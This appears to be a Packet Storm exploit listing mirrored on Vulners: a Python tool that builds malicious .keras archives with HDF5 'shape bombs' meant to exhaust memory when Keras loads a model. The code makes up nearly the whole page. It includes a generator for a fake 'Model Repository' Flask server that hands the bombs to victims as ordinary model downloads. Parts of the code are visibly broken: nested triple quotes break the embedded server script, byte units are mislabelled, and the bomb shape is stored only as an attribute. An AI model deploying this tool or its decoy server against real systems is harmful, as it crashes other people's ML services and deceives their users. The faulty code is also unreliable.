Lucene search
K

📄 Keras 3.13.0 HDF5 Shape Bomb Denial of Service

🗓️ 23 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 57 Views

Keras 3.13.0 DoS tool crafting HDF5 shape bombs in .keras archives to trigger excessive memory use.

Related
Code
==================================================================================================================================
    | # Title     : Keras 3.13.0 HDF5 Shape Bomb Denial-of-Service Exploit Generator                                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://pypi.org/project/keras/                                                                                  |
    ==================================================================================================================================
    
    [+] Summary    : This script is a security research tool demonstrating a Denial-of-Service (DoS) vulnerability in Keras model loading through malicious HDF5 “shape bombs.” 
                     It generates .keras model archives containing artificially declared extremely large tensor shapes designed to force excessive memory allocation during deserialization.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import os
    import sys
    import json
    import h5py
    import zipfile
    import struct
    import argparse
    import logging
    import numpy as np
    from pathlib import Path
    from typing import List, Dict, Optional, Tuple
    from datetime import datetime
    
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )
    logger = logging.getLogger(__name__)
    
    MAX_RANK_BEFORE_FIX = 64
    MAX_BYTES_BEFORE_FIX = float('inf')  
    EVIL_SHAPES = {
        "petabyte_bomb": (1000000, 1000000, 1000000), 
        "terabyte_bomb": (100000, 100000, 10000),   
        "gigabyte_bomb": (50000, 50000, 400),       
        "rank_bomb": tuple([1000] * 100),          
        "overflow_bomb": (2**31, 2**31, 2**31),   
        "null_bomb": (0, 2**31, 2**31),            
        "negative_bomb": (-1, 1000000, 1000000),   
        "fractional_bomb": (1000000, 1000000, 1000000, 1000000),
    }
    
    class HDF5ShapeBomb:
        """Generate malicious HDF5 files with shape bombs"""
        
        def __init__(self, output_file: str = "malicious_model.keras"):
            self.output_file = output_file
            self.temp_dir = Path("temp_hdf5_bomb")
            self.temp_dir.mkdir(exist_ok=True)
            
        def _create_shape_bomb_hdf5(self, shape: Tuple[int, ...], dtype: str = "float32", 
                                     dataset_name: str = "layers/dense/vars/0") -> str:
            """
            Create HDF5 file with malicious shape declaration
            
            Args:
                shape: Declared tensor shape (actual data is minimal)
                dtype: Data type (affects memory calculation)
                dataset_name: Name of the dataset
                
            Returns:
                Path to created HDF5 file
            """
            h5_path = self.temp_dir / "model.weights.h5"
            
            with h5py.File(h5_path, "w", libver="latest") as f:
    
                groups = dataset_name.split('/')
                current = f
                for group in groups[:-1]:
                    if group not in current:
                        current = current.create_group(group)
                    current = current[group]
                dataset = current.create_dataset(
                    groups[-1],
                    shape=(0,),          
                    maxshape=(None,),
                    dtype=dtype,
                    data=np.array([], dtype=dtype)
                )
                
                if hasattr(dataset, "attrs"):
                    dataset.attrs["DECLARED_SHAPE"] = shape
                    dataset.attrs["SHAPE_BOMB"] = True
                    dataset.attrs["TARGET_MEMORY_BYTES"] = self._calculate_memory(shape, dtype)
            
            logger.info(f"[+] Created HDF5 bomb at {h5_path}")
            logger.info(f"    Declared shape: {shape}")
            logger.info(f"    Memory required: {self._format_bytes(self._calculate_memory(shape, dtype))}")
            
            return str(h5_path)
        
        def _calculate_memory(self, shape: Tuple[int, ...], dtype: str) -> int:
            """Calculate memory required for shape"""
            try:
                import math
                total_elements = math.prod(shape)
            except OverflowError:
                total_elements = float('inf')
            
            dtype_size = np.dtype(dtype).itemsize
            return total_elements * dtype_size
        
        def _format_bytes(self, bytes_count: int) -> str:
            """Format bytes to human readable"""
            if bytes_count >= 1024**4:
                return f"{bytes_count / 1024**4:.2f} PB"
            elif bytes_count >= 1024**3:
                return f"{bytes_count / 1024**3:.2f} TB"
            elif bytes_count >= 1024**2:
                return f"{bytes_count / 1024**2:.2f} GB"
            elif bytes_count >= 1024:
                return f"{bytes_count / 1024:.2f} MB"
            else:
                return f"{bytes_count} B"
        
        def _create_config_json(self, model_config: Dict = None) -> str:
            """Create Keras config.json"""
            if model_config is None:
                model_config = {
                    "class_name": "Sequential",
                    "config": {
                        "name": "sequential",
                        "trainable": True,
                        "layers": [
                            {
                                "class_name": "Dense",
                                "config": {
                                    "name": "dense",
                                    "trainable": True,
                                    "dtype": "float32",
                                    "units": 10,
                                    "activation": "relu"
                                }
                            }
                        ]
                    },
                    "keras_version": "3.0.0",
                    "backend": "tensorflow"
                }
            
            config_path = self.temp_dir / "config.json"
            with open(config_path, "w") as f:
                json.dump(model_config, f, indent=2)
            
            return str(config_path)
        
        def _create_metadata_json(self) -> str:
            """Create Keras metadata.json"""
            metadata = {
                "keras_version": "3.0.0",
                "backend": "tensorflow",
                "model_config": {
                    "class_name": "Sequential",
                    "config": {"name": "sequential", "trainable": True}
                }
            }
            
            metadata_path = self.temp_dir / "metadata.json"
            with open(metadata_path, "w") as f:
                json.dump(metadata, f, indent=2)
            
            return str(metadata_path)
        
        def build_keras_archive(self, shape: Tuple[int, ...], 
                               dtype: str = "float32",
                               dataset_name: str = "layers/dense/vars/0") -> str:
            """
            Build complete .keras archive with shape bomb
            
            Args:
                shape: Malicious shape declaration
                dtype: Data type
                dataset_name: Dataset name in HDF5
                
            Returns:
                Path to generated .keras file
            """
            logger.info(f"[*] Building Keras archive with shape bomb: {shape}")
    
            h5_path = self._create_shape_bomb_hdf5(shape, dtype, dataset_name)
    
            config_path = self._create_config_json()
            metadata_path = self._create_metadata_json()
    
            with zipfile.ZipFile(self.output_file, "w", zipfile.ZIP_DEFLATED) as zf:
                zf.write(h5_path, "model.weights.h5")
                zf.write(config_path, "config.json")
                zf.write(metadata_path, "metadata.json")
    
            for f in [h5_path, config_path, metadata_path]:
                if os.path.exists(f):
                    os.unlink(f)
            
            self.temp_dir.rmdir()
            
            file_size = os.path.getsize(self.output_file)
            logger.info(f"[+] Keras archive created: {self.output_file}")
            logger.info(f"    File size: {self._format_bytes(file_size)}")
            logger.info(f"    Memory impact: {self._format_bytes(self._calculate_memory(shape, dtype))}")
            logger.info(f"    Amplification ratio: {self._calculate_memory(shape, dtype) / file_size:.0f}x")
            
            return self.output_file
    
    class KerasDoSAttack:
        """Execute DoS attack against vulnerable Keras installations"""
        
        def __init__(self, target_model_path: str = None):
            self.target_model_path = target_model_path
        
        def test_local_vulnerability(self, model_path: str) -> bool:
            """
            Test if local Keras installation is vulnerable
            
            Args:
                model_path: Path to malicious model
                
            Returns:
                True if crash occurred (vulnerable), False otherwise
            """
            try:
                import keras
                logger.info("[*] Attempting to load malicious model...")
    
                model = keras.saving.load_model(model_path)
                
                logger.warning("[!] Model loaded successfully - Keras may be patched!")
                return False
                
            except MemoryError as e:
                logger.error(f"[!!!] MemoryError: {e}")
                return True
            except Exception as e:
                logger.error(f"[!!!] Crash: {e}")
                return True
        
        def create_remote_exploit_script(self, output_file: str = "exploit_server.py") -> str:
            """
            Create a malicious model server that serves shape bombs
            
            Args:
                output_file: Output script name
                
            Returns:
                Path to created script
            """
            script_content = '''#!/usr/bin/env python3
    """Malicious model server for CVE-2026-0897"""
    
    from flask import Flask, send_file, request
    import os
    import zipfile
    import h5py
    import json
    
    app = Flask(__name__)
    
    EVIL_SHAPE = (1000000, 1000000, 1000000)  # 4 PB bomb
    
    def create_malicious_model():
        """Generate shape bomb on demand"""
        import tempfile
        import numpy as np
        
        temp_dir = tempfile.mkdtemp()
        model_path = os.path.join(temp_dir, "malicious.keras")
    
        with h5py.File(os.path.join(temp_dir, "model.weights.h5"), "w") as f:
            dataset = f.create_dataset(
                "layers/dense/vars/0",
                shape=(0,),
                maxshape=(None,),
                dtype="float32",
                data=np.array([], dtype="float32")
            )
            dataset.attrs["DECLARED_SHAPE"] = EVIL_SHAPE
        config = {
            "class_name": "Sequential",
            "config": {"name": "sequential", "trainable": True},
            "keras_version": "3.0.0"
        }
        
        with zipfile.ZipFile(model_path, "w") as zf:
            zf.write(os.path.join(temp_dir, "model.weights.h5"), "model.weights.h5")
            zf.writestr("config.json", json.dumps(config))
        
        return model_path
    
    @app.route('/model.keras')
    def serve_malicious_model():
        """Serve the shape bomb model"""
        model_path = create_malicious_model()
        return send_file(model_path, as_attachment=True)
    
    @app.route('/')
    def index():
        return '''
        <h1>Model Repository</h1>
        <p>Download models for your ML pipeline:</p>
        <a href="/model.keras">Download model.keras (latest)</a>
        '''
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8080)
    '''
            
            with open(output_file, 'w') as f:
                f.write(script_content)
            
            os.chmod(output_file, 0o755)
            logger.info(f"[+] Remote exploit server script created: {output_file}")
            return output_file
    class ExploitTester:
        """Test and validate the exploit"""
        
        @staticmethod
        def test_memory_impact(shape: Tuple[int, ...], dtype: str = "float32") -> Dict:
            """Calculate theoretical memory impact"""
            import math
            
            try:
                elements = math.prod(shape)
                bytes_needed = elements * np.dtype(dtype).itemsize
                
                return {
                    "shape": shape,
                    "elements": elements,
                    "bytes": bytes_needed,
                    "bytes_formatted": format_bytes(bytes_needed),
                    "dtype": dtype,
                    "overflow": False
                }
            except OverflowError:
                return {
                    "shape": shape,
                    "elements": float('inf'),
                    "bytes": float('inf'),
                    "bytes_formatted": "INFINITE",
                    "dtype": dtype,
                    "overflow": True
                }
        
        @staticmethod
        def scan_keras_version() -> Dict:
            """Check Keras version and vulnerability status"""
            try:
                import keras
                version = keras.__version__
                
                # Parse version
                parts = [int(x) for x in version.split('.')[:3]]
                is_vulnerable = False
                
                if parts[0] == 3:
                    if 0 <= parts[1] <= 13:
                        is_vulnerable = True
                
                return {
                    "version": version,
                    "is_vulnerable": is_vulnerable,
                    "has_fix": not is_vulnerable
                }
            except ImportError:
                return {
                    "version": None,
                    "is_vulnerable": False,
                    "has_fix": False,
                    "error": "Keras not installed"
                }
    
    def format_bytes(bytes_count):
        """Format bytes to human readable"""
        if bytes_count >= 1024**4:
            return f"{bytes_count / 1024**4:.2f} PB"
        elif bytes_count >= 1024**3:
            return f"{bytes_count / 1024**3:.2f} TB"
        elif bytes_count >= 1024**2:
            return f"{bytes_count / 1024**2:.2f} GB"
        elif bytes_count >= 1024:
            return f"{bytes_count / 1024:.2f} MB"
        else:
            return f"{bytes_count} B"
    def main():
        parser = argparse.ArgumentParser(
            description='CVE-2026-0897 - Google Keras DoS Exploit (HDF5 Shape Bomb)',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python exploit.py --shape petabyte_bomb --output malicious.keras
      python exploit.py --shape 1000000,1000000,1000000 --output bomb.keras
      python exploit.py --test --model malicious.keras
      python exploit.py --all --output-dir ./bombs/
      python exploit.py --server --port 8080
      python exploit.py --check-version
            """
        )
        
        parser.add_argument('--shape', help='Shape bomb type or custom dimensions (e.g., 1000,1000,1000)')
        parser.add_argument('--output', '-o', default='malicious_model.keras', help='Output .keras file')
        parser.add_argument('--output-dir', help='Directory for multiple bombs')
        parser.add_argument('--all', action='store_true', help='Generate all bomb types')
        parser.add_argument('--test', action='store_true', help='Test vulnerability with generated model')
        parser.add_argument('--model', help='Model file to test')
        parser.add_argument('--server', action='store_true', help='Create remote exploit server script')
        parser.add_argument('--port', type=int, default=8080, help='Port for exploit server')
        parser.add_argument('--check-version', action='store_true', help='Check Keras version vulnerability')
        parser.add_argument('--dtype', default='float32', help='Data type (float32, float64, int8, etc.)')
        parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
        
        args = parser.parse_args()
        
        print("""
    ========================================
      CVE-2026-0897 - Keras DoS Exploit
      HDF5 Shape Bomb - Resource Exhaustion
    ========================================
        """)
    
        if args.check_version:
            info = ExploitTester.scan_keras_version()
            print(f"[*] Keras version: {info['version'] or 'Not installed'}")
            if info.get('is_vulnerable'):
                print("[!!!] VULNERABLE version detected! (3.0.0 - 3.13.0)")
            elif info.get('has_fix'):
                print("[+] Keras appears patched (version > 3.13.0)")
            else:
                print("[?] Unable to determine vulnerability status")
            return
    
        if args.server:
            attacker = KerasDoSAttack()
            script_path = attacker.create_remote_exploit_script(f"exploit_server_{args.port}.py")
            print(f"\n[+] Exploit server script created: {script_path}")
            print(f"[*] Run: python3 {script_path}")
            print(f"[*] Victims will download malicious models from http://your-server:8080/model.keras")
            return
    
        if args.all:
            if not args.output_dir:
                args.output_dir = "shape_bombs"
            
            os.makedirs(args.output_dir, exist_ok=True)
            
            for bomb_name, bomb_shape in EVIL_SHAPES.items():
                output_file = os.path.join(args.output_dir, f"{bomb_name}.keras")
                generator = HDF5ShapeBomb(output_file)
                
                print(f"\n[*] Generating {bomb_name}: {bomb_shape}")
                generator.build_keras_archive(bomb_shape, args.dtype)
            
            print(f"\n[+] All bombs generated in {args.output_dir}/")
            return
        if args.shape:
    
            if args.shape in EVIL_SHAPES:
                shape = EVIL_SHAPES[args.shape]
            else:
                try:
                    shape = tuple(int(x.strip()) for x in args.shape.split(','))
                except:
                    print(f"[!] Invalid shape format: {args.shape}")
                    return
    
            impact = ExploitTester.test_memory_impact(shape, args.dtype)
            print(f"[*] Shape bomb configuration:")
            print(f"    Dimensions: {impact['shape']}")
            print(f"    Total elements: {impact['elements']}")
            print(f"    Memory required: {impact['bytes_formatted']}")
            print(f"    Data type: {impact['dtype']}")
            
            if impact.get('overflow'):
                print("[!!!] INTEGER OVERFLOW DETECTED - May bypass some checks!")
    
            generator = HDF5ShapeBomb(args.output)
            generator.build_keras_archive(shape, args.dtype)
    
            if args.test:
                print("\n[*] Testing vulnerability...")
                attacker = KerasDoSAttack()
                is_vulnerable = attacker.test_local_vulnerability(args.output)
                
                if is_vulnerable:
                    print("\n[!!!] Keras IS VULNERABLE! Process crashed.")
                else:
                    print("\n[+] Keras appears patched or model was safe.")
        
        else:
            parser.print_help()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.17.5
CVSS 47.1
EPSS0.00043
SSVC
57